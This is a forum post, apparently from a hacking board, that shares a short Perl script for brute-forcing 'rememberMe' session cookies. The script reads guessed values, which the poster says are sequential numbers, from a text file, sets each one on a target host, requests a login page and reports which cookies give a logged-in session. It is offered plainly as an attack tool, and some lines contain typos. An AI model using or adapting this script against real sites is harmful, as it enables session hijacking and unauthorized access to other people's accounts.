Jump to content
zbeng

cek cookies

Recommended Posts

use LWP::UserAgent;

use HTTP::Cookies;

$ua = new LWP::UserAgent;

$jar = HTTP::Cookies->new();

$ua->cookie_jar($jar);

open FH, "gudang_cookie.txt";

while (<FH>) {

$ cookie_new = $_;

chomp $cookie_new;

$jar->set_cookie(1, remember Me => $cookie_new, "/", "xxx.xxx.xxx.xxx");

$req = new HTTP::Request GET => "http://blabla/login.php";

$res = $ua->request($req);

$html = $res->content;

if($html =~ /Wellcome/) {

print "cookie " .$cookie_new. " U S E D ! \n"; }

else {

print "cookie " .$cookie_new. " WRONG !! \n";

}

}

and U must creat :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

etc

and safe in txt > "gudang_cookie.txt"

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...